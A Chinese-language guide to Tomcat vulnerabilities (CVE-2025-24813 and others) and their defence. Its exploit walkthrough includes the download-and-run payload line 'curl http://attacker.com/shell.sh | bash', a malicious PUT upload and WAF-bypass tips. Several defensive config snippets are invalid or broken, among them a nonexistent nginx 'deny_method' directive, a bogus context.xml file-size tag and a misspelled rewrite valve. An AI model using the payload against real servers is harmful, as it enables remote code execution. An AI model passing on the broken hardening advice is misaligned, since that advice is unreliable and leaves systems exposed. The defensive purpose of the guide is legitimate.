Tomcat漏洞深度解析与防御指南

一、Tomcat漏洞背景与行业影响

（一）Tomcat在Web生态中的核心地位

Tomcat作为全球使用最广泛的Java Web容器之一，在Web生态中占据核心地位，支撑着金融、政务、电商等关键领域的千万级应用。其开源特性和轻量设计在为开发者提供便利的同时，也使安全漏洞成为攻击者的"突破口"。

行业影响统计：

• Tomcat漏洞年均披露量增长30%
• 2025年爆发多个高危RCE漏洞
• 直接影响企业基础设施安全

（二）漏洞关注重点

网络安全视角下需重点关注：

1. 可利用性：漏洞触发条件、绕过技巧
2. 防御落地：配置缺陷修复方案
3. 技术深度与可读性平衡

二、核心漏洞解析：从原理到利用链

（一）远程代码执行漏洞（CVE-2025-24813）

1. 漏洞技术原理

• 根源：Tomcat对分块上传（Partial PUT）的路径处理缺陷
• 攻击路径：构造含Content-Range头的恶意请求→路径斜杠(/)替换为点(.)→生成非法临时文件→会话反序列化触发RCE

2. 触发核心条件

<!-- 危险配置示例 -->
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

• 写入权限开启（readonly=false）
• 反序列化依赖库存在（如commons-collections）
• 分块上传功能未禁用

3. 攻击链实战复现

步骤1：生成Commons-Collections反序列化Payload

# 嵌入恶意系统命令示例
curl http://attacker.com/shell.sh | bash

步骤2：通过PUT请求上传至work/catalina/localhost/root目录

PUT /evil.session HTTP/1.1
Content-Range: bytes 0-2787/4200
[...恶意Payload...]

步骤3：携带jsessionid=.evil Cookie访问目标触发反序列化

4. 影响范围与修复

受影响版本：

• Tomcat 9.0.0.M1~9.0.98
• 10.1.0.M1~10.1.34
• 11.0.0.M1~11.0.2

修复方案：

• 升级至11.0.3+（禁用路径替换逻辑）
• 手动配置web.xml关闭PUT方法

（二）URL重写机制绕过漏洞（CVE-2025-55752）

1. 漏洞本质分析

• 根源：URL重写逻辑回归问题
• 攻击路径：重写后URL在解码前被规范化→/WEB-INF/等保护目录被绕过
• 利用方式：构造含%2f（编码斜杠）的URI配合PUT请求上传jspx文件

2. 利用条件

• 服务器启用URL重写规则（如rewrite.valves.TomcatRequestRewer）
• 未禁用PUT方法
• 攻击场景：伪装可信用户通过API接口上传恶意文件

3. 防御要点

• 禁用非必要URL重写模块
• 检查conf/server.xml危险配置
• 升级至Tomcat 11.0.11+（增加路径合法性校验）

（三）拒绝服务漏洞（CVE-2025-61795）

1. 漏洞触发机制

• 多文件上传时错误处理不当
• 临时文件未及时清理→work目录空间耗尽
• JVM垃圾回收速度低于文件生成速度→OutOfMemoryError

2. 攻击特征检测

异常指标：

• work目录文件数激增
• Tomcat进程内存使用率持续>80%

检测命令：

lsof | grep tomcat | grep tmp  # 监控临时文件句柄

3. 缓解措施

<!-- context.xml配置 -->
<max-file-size>10485760</max-file-size> <!-- 限制10MB -->

• 定期清理过期临时文件（CRON任务每小时执行）

rm -rf /tomcat/work/Catalina/localhost/*

三、防御体系构建：从配置到应急响应

（一）基础安全配置最佳实践

1. 最小化攻击面

禁用默认示例应用：

rm -rf webapps/examples  # 删除SessionExample等敏感接口

端口安全配置（server.xml）：

<!-- 保留必要端口 -->
<Connector port="8080" protocol="HTTP/1.1"/>
<Connector port="443" protocol="HTTP/1.1" SSLEnabled="true"/>

<!-- 移除AJP连接器 -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->

2. 权限与认证强化

tomcat-users.xml配置：

<user username="admin" password="加密强密码" roles="manager-gui"/>
<!-- 禁止manager-gui角色直接部署war包 -->

URL访问控制（web.xml）：

<security-constraint>
    <web-resource-collection>
        <web-resource-name>Restricted Area</web-resource-name>
        <url-pattern>/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>admin</role-name>
    </auth-constraint>
    <user-data-constraint>
        <transport-guarantee>NONE</transport-guarantee>
    </user-data-constraint>
</security-constraint>

（二）纵深防御技术方案

1. 运行时防护（RASP）

• 部署字节码增强工具（如AppShield）
• 实时拦截异常Content-Range字段和路径穿越符号（../）
• 启用JEP 290机制防御反序列化攻击

2. 日志与监控体系

访问日志配置（server.xml）：

<Valve className="org.apache.catalina.valves.AccessLogValve"
       pattern="%h %l %u %t &quot;%r&quot; %s %b"
       directory="logs"/>

安全监控重点：

• PUT/POST请求频率监控
• 可疑Cookie字段检测（jsessionid=.\w+）
• ELK栈构建安全事件分析平台

（三）应急响应全流程指南

1. 漏洞检测工具链

自动化扫描：

• Nessus插件（编号163542）检测CVE-2025-24813
• 自研脚本校验web.xml中readonly参数

手工排查重点：

<!-- 危险配置检查 -->
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value> <!-- 重点关注 -->
</init-param>

2. 补丁管理策略

• 建立灰度升级机制（测试环境优先验证Tomcat 11.0.12+）
• 无法立即升级时临时封堵PUT请求（Nginx配置）：

location / {
    deny_method PUT;
}

四、实战经验分享：从漏洞挖掘到攻防对抗

（一）漏洞挖掘思路解析

1. "配置-代码"双重缺陷分析

以DefaultServlet为例：

• 文件操作逻辑与web.xml配置关联
• readonly=false时PUT请求文件上传漏洞
• 路径处理+权限校验逻辑漏洞

Fuzzing技术应用：

• 输入特殊字符（%00、编码空格等）
• 观察解析器反应发现绕过点

2. 官方补丁差异分析

以CVE-2025-24813为例：

• 对比修复前后DefaultServlet.java代码
• 分析generateTempFileName方法路径过滤逻辑修改
• 逆向推导漏洞成因

（二）攻防对抗典型场景

1. 绕过WAF技巧

分块传输编码：

• 将Payload拆分为多个chunk
• 规避传统WAF的完整请求体特征匹配

User-Agent伪装：

User-Agent: curl/7.68.0  # 伪装合法工具

2. 防御方反制手段

Nginx层防护：

add_header X-Tomcat-Security enabled;

# WAF联动防御
if ($request_uri ~* "\.\.") {
    return 403;
}

IP信誉管理：

• 频繁PUT请求IP触发验证码机制
• 异常行为IP临时封禁

五、总结与趋势展望

（一）Tomcat安全核心矛盾

开源生态开放性与企业安全封闭性的持续博弈，未来漏洞将集中在：

• 默认配置风险
• 组件交互逻辑缺陷
• 会话管理、文件上传模块漏洞

（二）防御体系构建要点

1. 三维度内容建设：原理解析+实战复现+防御落地
2. 安全架构思想：最小化攻击面、纵深防御
3. 完整认知链：漏洞是什么→如何利用→怎么防御

（三）未来研究方向

1. 云原生环境兼容性：K8s、Docker环境下的Tomcat漏洞
2. 智能检测技术：基于机器学习的异常流量检测模型
3. 立体防御体系：配置强化+运行时防护+应急响应

关键防御总结

Tomcat漏洞防御需要建立多层次防护体系：

1. 基础配置：禁用非必要服务、强化权限控制
2. 运行时防护：RASP集成、实时威胁检测
3. 监控响应：日志分析、应急响应流程
4. 持续更新：漏洞跟踪、补丁管理机制

通过"知攻懂防"的安全闭环，实现Tomcat环境的全方位安全防护。